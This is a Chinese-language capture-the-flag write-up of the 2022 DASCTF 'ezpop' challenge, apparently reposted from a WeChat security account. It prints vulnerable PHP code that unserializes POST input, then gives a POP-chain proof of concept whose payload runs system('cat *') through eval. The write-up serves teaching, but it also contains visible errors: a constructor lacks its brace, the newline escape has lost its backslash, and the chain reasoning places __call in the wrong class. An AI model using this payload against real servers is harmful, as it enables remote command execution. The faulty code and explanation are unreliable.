因为一直搞不懂php反序列化的pop链,所以写这篇文章记录一下。
文章所使用的POC来自啊韬师傅的wp,原文地址:
https://erroratao.github.io/writeup/DASCTF2022xSU/
一,题目
题目名字为ezpop,开局一页的代码:
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}
二,了解php反序列化
首先了解一下php的魔术方法,php在进行序列化和反序列化时可能会用到以下的魔术方法:
__construct | 构造函数 |
__destruct | 对象被销毁时触发,析构函数 |
__toString | 把类当作字符串使用时触发 |
__wakeup() | unserialize前调用,用于预先准备对象资源 |
__sleep() | serialize前调用 |
__call() | 在对象上下文中调用不可访问的方法时触发 |
__callStatic() | 在静态上下文中调用不可访问的方法时触发 |
__get() | 试图读取一个并不存在的属性的时候被调用 |
__set() | 用于将数据写入不可访问的属性 |
__isset() | 在不可访问的属性上调用isset()或empty()触发 |
__unset() | 在不可访问的属性上使用unset()时触发 |
__invoke() | 脚本尝试将对象调用为函数时触发 |
2.再看一下题目给出的源码:我们最终的目的是调用mix类的get_flag()函数,进行eval操作,执行系统命令。步骤可以这样倒着推理:
(1)mix类的get_flag()函数实现最终目标,即执行系统命令。
(2)而get_flag()函数由crow类的__call()函数调用和触发。
(3)__call函数调用则需要在对象上下文中调用不可访问的方法时触发,crow类中的__invoke()方法正好吻合。
(4)__invoke()在脚本尝试将对象调用为函数时触发,所以mix类的run()方法正好吻合。
(5)run()方法需要what类的__toString()方法来调用。
(6)__toString()在把类当作字符串使用时触发,所以,此时fin类的__destruct(),若把f1当作对象初始化,则正好吻合。
3.最终的POC
class crow
{
public $v1;
public $v2;
public function __construct($v1)
{
$this->v1 = $v1;
}
}
class fin
{
public $f1;
public function __construct($f1)
{
$this->f1 = $f1;
}
}
class what
{
public $a;
public function __construct($a)
{
$this->a = $a;
}
}
class mix
{
public $m1;
public function __construct($m1)
$this->m1 = $m1;
}
}
$f = new mix("nsystem('cat *');");
$e = new fin($f);
$d = new crow($e);
$c = new mix($d);
$b = new what($c);
$a = new fin($b);
echo urlencode(serialize($a));
注:因为eval函数拼接了#号,即注释符号,POC中使用换行符n进行绕过!
POC得到的序列化字符串在发包时尽量使用burp,hackbar有时会出现回显不正常的情况。
申明:所有渗透行为都需获取授权!本公众号所分享的内容仅作为技术讨论,禁止用于一切违法行为,违法行为所造成的一切不良后果与文章作者和本公众号无关!未经授权,严禁转载!
原文始发于微信公众号(小猪网络安全):2022 DASCTF X SU 三月春季挑战赛 ezpop writeup
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论